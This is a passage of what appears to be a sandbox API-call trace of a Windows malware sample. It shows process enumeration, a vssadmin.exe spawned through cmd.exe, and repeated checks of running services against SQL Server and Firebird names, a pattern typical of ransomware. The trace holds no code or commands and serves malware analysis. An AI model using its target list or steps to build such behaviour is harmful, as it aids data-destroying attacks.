th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.438] lstrlenW (lpString="svchost.exe") returned 11 [0050.438] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.439] lstrlenW (lpString="taskeng.exe") returned 11 [0050.439] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.439] lstrlenW (lpString="taskhost.exe") returned 12 [0050.439] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0050.440] lstrlenW (lpString="obligations-breath.exe") returned 22 [0050.440] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0050.441] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0050.441] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0050.441] lstrlenW (lpString="achieving.exe") returned 13 [0050.441] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0050.442] lstrlenW (lpString="venice.exe") returned 10 [0050.442] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0050.443] lstrlenW (lpString="owns.exe") returned 8 [0050.443] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0050.444] lstrlenW (lpString="faster momentum.exe") returned 19 [0050.444] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0050.444] lstrlenW (lpString="vital_reasons.exe") returned 17 [0050.444] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0050.445] lstrlenW (lpString="everyone.exe") returned 12 [0050.445] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0050.519] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0050.519] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0050.520] lstrlenW (lpString="bored_excluded.exe") returned 18 [0050.520] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0050.521] lstrlenW (lpString="mothers.exe") returned 11 [0050.521] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0050.521] lstrlenW (lpString="career-fed.exe") returned 14 [0050.521] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0050.522] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0050.522] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0050.523] lstrlenW (lpString="initial_utilization.exe") returned 23 [0050.523] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0050.523] lstrlenW (lpString="cf-represent.exe") returned 16 [0050.523] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0050.524] lstrlenW (lpString="tue.exe") returned 7 [0050.524] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0050.525] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0050.525] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0050.525] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0050.525] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0050.526] lstrlenW (lpString="stuff_event.exe") returned 15 [0050.526] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0050.527] lstrlenW (lpString="keywords-copies.exe") returned 19 [0050.527] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0050.527] lstrlenW (lpString="lap.exe") returned 7 [0050.527] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.528] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.528] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0050.529] lstrlenW (lpString="chrome64b.exe") returned 13 [0050.529] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0050.530] lstrlenW (lpString="cmd.exe") returned 7 [0050.530] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.530] lstrlenW (lpString="conhost.exe") returned 11 [0050.530] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0050.531] lstrlenW (lpString="vssadmin.exe") returned 12 [0050.531] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0050.532] lstrlenW (lpString="VSSVC.exe") returned 9 [0050.532] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.532] lstrlenW (lpString="svchost.exe") returned 11 [0050.533] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0050.533] CloseHandle (hObject=0x204) returned 1 [0050.533] Sleep (dwMilliseconds=0x1f4) [0051.103] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66fc28 [0051.103] EnumServicesStatusExW (in: hSCManager=0x66fc28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0051.103] GetLastError () returned 0xea [0051.103] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x12c6) returned 0x63e068 [0051.104] EnumServicesStatusExW (in: hSCManager=0x66fc28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x63e068, cbBufSize=0x12c6, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x63e068, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0051.104] CloseServiceHandle (hSCObject=0x66fc28) returned 1 [0051.104] lstrlenW (lpString="Appinfo") returned 7 [0051.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0051.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0051.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0051.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0051.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0051.104] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0051.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.104] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0051.104] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0051.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0051.104] lstrlenW (lpString="AudioSrv") returned 8 [0051.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0051.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0051.105] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0051.105] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0051.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0051.105] lstrlenW (lpString="BFE") returned 3 [0051.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0051.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0051.105] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0051.105] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0051.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0051.105] lstrlenW (lpString="CryptSvc") returned 8 [0051.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0051.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0051.105] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0051.105] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0051.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0051.105] lstrlenW (lpString="CscService") returned 10 [0051.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0051.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0051.105] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0051.105] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0051.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0051.105] lstrlenW (lpString="DcomLaunch") returned 10 [0051.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.105] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0051.105] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0051.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0051.105] lstrlenW (lpString="Dhcp") returned 4 [0051.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0051.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0051.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0051.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0051.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0051.106] lstrlenW (lpString="Dnscache") returned 8 [0051.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0051.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0051.106] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0051.106] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0051.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0051.106] lstrlenW (lpString="DPS") returned 3 [0051.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0051.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0051.106] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0051.106] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0051.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0051.106] lstrlenW (lpString="eventlog") returned 8 [0051.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0051.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0051.106] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0051.106] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0051.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0051.106] lstrlenW (lpString="EventSystem") returned 11 [0051.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0051.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0051.106] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0051.107] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0051.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0051.107] lstrlenW (lpString="gpsvc") returned 5 [0051.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0051.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0051.107] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0051.107] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0051.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0051.107] lstrlenW (lpString="iphlpsvc") returned 8 [0051.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.107] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0051.107] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0051.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0051.107] lstrlenW (lpString="LanmanServer") returned 12 [0051.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0051.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0051.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0051.107] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0051.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0051.107] lstrlenW (lpString="LanmanWorkstation") returned 17 [0051.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0051.107] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0051.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0051.107] lstrlenW (lpString="lmhosts") returned 7 [0051.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0051.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0051.107] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0051.107] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0051.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0051.107] lstrlenW (lpString="MMCSS") returned 5 [0051.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0051.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0051.107] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0051.108] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0051.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0051.108] lstrlenW (lpString="MpsSvc") returned 6 [0051.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0051.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0051.108] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0051.108] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0051.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0051.108] lstrlenW (lpString="Netman") returned 6 [0051.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0051.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0051.108] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0051.108] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0051.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0051.108] lstrlenW (lpString="netprofm") returned 8 [0051.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0051.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0051.108] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0051.108] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0051.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0051.108] lstrlenW (lpString="NlaSvc") returned 6 [0051.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0051.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0051.108] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0051.108] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0051.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0051.108] lstrlenW (lpString="nsi") returned 3 [0051.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0051.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0051.108] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0051.108] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0051.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0051.108] lstrlenW (lpString="PcaSvc") returned 6 [0051.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0051.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0051.108] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0051.109] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0051.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0051.109] lstrlenW (lpString="PlugPlay") returned 8 [0051.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0051.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0051.109] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0051.109] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0051.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0051.109] lstrlenW (lpString="Power") returned 5 [0051.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0051.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0051.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0051.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0051.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0051.109] lstrlenW (lpString="ProfSvc") returned 7 [0051.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0051.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0051.109] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0051.109] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0051.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0051.109] lstrlenW (lpString="RpcEptMapper") returned 12 [0051.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.109] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0051.109] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0051.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0051.109] lstrlenW (lpString="RpcSs") returned 5 [0051.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0051.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0051.109] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0051.109] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0051.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0051.109] lstrlenW (lpString="SamSs") returned 5 [0051.109] lstrcmpiW 